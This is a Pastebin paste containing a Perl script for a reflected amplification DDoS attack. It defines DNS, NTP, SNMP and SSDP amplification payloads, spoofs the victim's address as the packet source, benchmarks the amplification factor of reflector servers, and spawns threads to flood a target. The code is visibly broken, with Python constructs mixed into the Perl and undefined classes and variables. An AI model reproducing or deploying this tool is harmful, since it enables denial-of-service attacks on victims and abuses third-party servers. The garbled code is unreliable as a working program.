Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- use strict;
- use warnings;
- use IO::Socket::INET;
- my $target = $ARGV[0];
- my $threads = $ARGV[1];
- my $domains = $ARGV[2];
- my $dns_file = "";
- my $ntp_file = "";
- my $snmp_file = "";
- my $ssdp_file = "";
- my $dns_amplification = {};
- my $ntp_amplification = {};
- my $snmp_amplification = {};
- my $ssdp_amplification = {};
- my $npackets = 0;
- my $nbytes = 0;
- my $files = {};
- my %PORT = (
- 'dns' => 53,
- 'ntp' => 123,
- 'snmp' => 161,
- 'ssdp' => 1900
- );
- my %PAYLOAD = (
- 'dns' => '{}\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01' .
- '{}\x00\x00\xff\x00\xff\x00\x00\x29\x10\x00' .
- '\x00\x00\x00\x00\x00\x00',
- 'snmp' => '\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c' .
- '\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01' .
- '\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06' .
- '\x01\x02\x01\x05\x00',
- 'ntp' => '\x17\x00\x02\x2a' . '\x00' x 4,
- 'ssdp' => 'M-SEARCH * HTTP/1.1\r\n' .
- 'HOST: 239.255.255.250:1900\r\n' .
- 'MAN: "ssdp:discover"\r\n' .
- 'MX: 2\r\n' .
- 'ST: ssdp:all\r\n\r\n'
- );
- sub Calc {
- my ($n, $d, $unit) = @_;
- my $i = 0;
- my $r = $n;
- while ($r / $d >= 1) {
- $r = $r / $d;
- $i += 1;
- }
- return sprintf("%.2f%s%s", $r, $SUFFIX{$i}, $unit);
- }
- sub GetDomainList {
- my ($domains) = @_;
- my @domain_list = ();
- if ($domains =~ /\.TXT/i) {
- open(my $file, '<', $domains) or die "Could not open file '$domains' $!";
- my $content = do { local $/; <$file> };
- close($file);
- $content =~ s/\r//g;
- $content =~ s/ //g;
- @domain_list = split(/\n/, $content);
- } else {
- @domain_list = split(/,/, $domains);
- }
- return @domain_list;
- }
- sub Monitor {
- print ATTACK;
- my $FMT = "%-15s|%-15s|%-15s|%-15s\n";
- my $start = time();
- while (1) {
- eval {
- local $SIG{ALRM} = sub { die "alarm\n" };
- alarm(1);
- my $current = time() - $start;
- my $bps = ($nbytes * 8) / $current;
- my $pps = $npackets / $current;
- my $out = sprintf($FMT, Calc($npackets, 1000), Calc($nbytes, 1024, 'B'), Calc($pps, 1000, 'pps'), Calc($bps, 1000, 'bps'));
- print STDERR "\r$out" . ' ' x (60 - length($out));
- alarm(0);
- };
- if ($@) {
- if ($@ eq "alarm\n") {
- next;
- } else {
- die;
- }
- }
- }
- }
- sub AmpFactor {
- my ($recvd, $sent) = @_;
- return sprintf("%sx (%dB -> %dB)", $recvd / $sent, $sent, $recvd);
- }
- sub Benchmark {
- my ($ddos) = @_;
- print BENCHMARK;
- my $i = 0;
- foreach my $proto (keys %$files) {
- open(my $f, '<', $files->{$proto}[0]) or die "Could not open file '$files->{$proto}[0]' $!";
- while (my $soldier = <$f>) {
- chomp($soldier);
- if ($proto eq 'dns') {
- foreach my $domain (@{$ddos->{domains}}) {
- $i += 1;
- my ($recvd, $sent) = $ddos->GetAmpSize($proto, $soldier, $domain);
- if ($recvd / $sent) {
- print sprintf("%-8s|%-15s|%-23s|%s\n", $proto, $soldier, AmpFactor($recvd, $sent), $domain);
- } else {
- next;
- }
- }
- } else {
- my ($recvd, $sent) = $ddos->GetAmpSize($proto, $soldier);
- print sprintf("%-8s|%-15s|%-23s|N/A\n", $proto, $soldier, AmpFactor($recvd, $sent));
- $i += 1;
- }
- }
- print "Total tested: $i\n";
- close($f);
- }
- }
- sub DDoS {
- my ($target, $threads, $domains, $event) = @_;
- my $self = {
- target => $target,
- threads => $threads,
- event => $event,
- domains => $domains
- };
- bless $self, 'DDoS';
- return $self;
- }
- sub stress {
- my ($self) = @_;
- for (my $i = 0; $i < $self->{threads}; $i++) {
- my $t = threads->create(\&__attack, $self);
- $t->detach();
- }
- }
- sub __send {
- my ($self, $sock, $soldier, $proto, $payload) = @_;
- my $udp = UDP->new(randint(1, 65535), $PORT{$proto}, $payload)->pack($self->{target}, $soldier);
- my $ip = IP->new($self->{target}, $soldier, $udp, proto => socket.IPPROTO_UDP)->pack();
- $sock->send($ip . $udp . $payload);
- }
- sub GetAmpSize {
- my ($self, $proto, $soldier, $domain) = @_;
- my $sock = IO::Socket::INET->new(
- PeerAddr => $soldier,
- PeerPort => $PORT{$proto},
- Proto => 'udp'
- ) or die "Could not create socket: $!";
- $self->__send($sock, $soldier, $proto, $PAYLOAD{$proto});
- my $response;
- $sock->recv($response, 1024);
- my $recvd = length($response);
- my $sent = length($PAYLOAD{$proto});
- return ($recvd, $sent);
- }
- sub main {
- my $target = $ARGV[0];
- my $threads = $ARGV[1];
- my $domains = $ARGV[2];
- my $event = threads->new(\&Monitor);
- my $ddos = DDoS($target, $threads, $domains, $event);
- $ddos->stress();
- }
- main();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement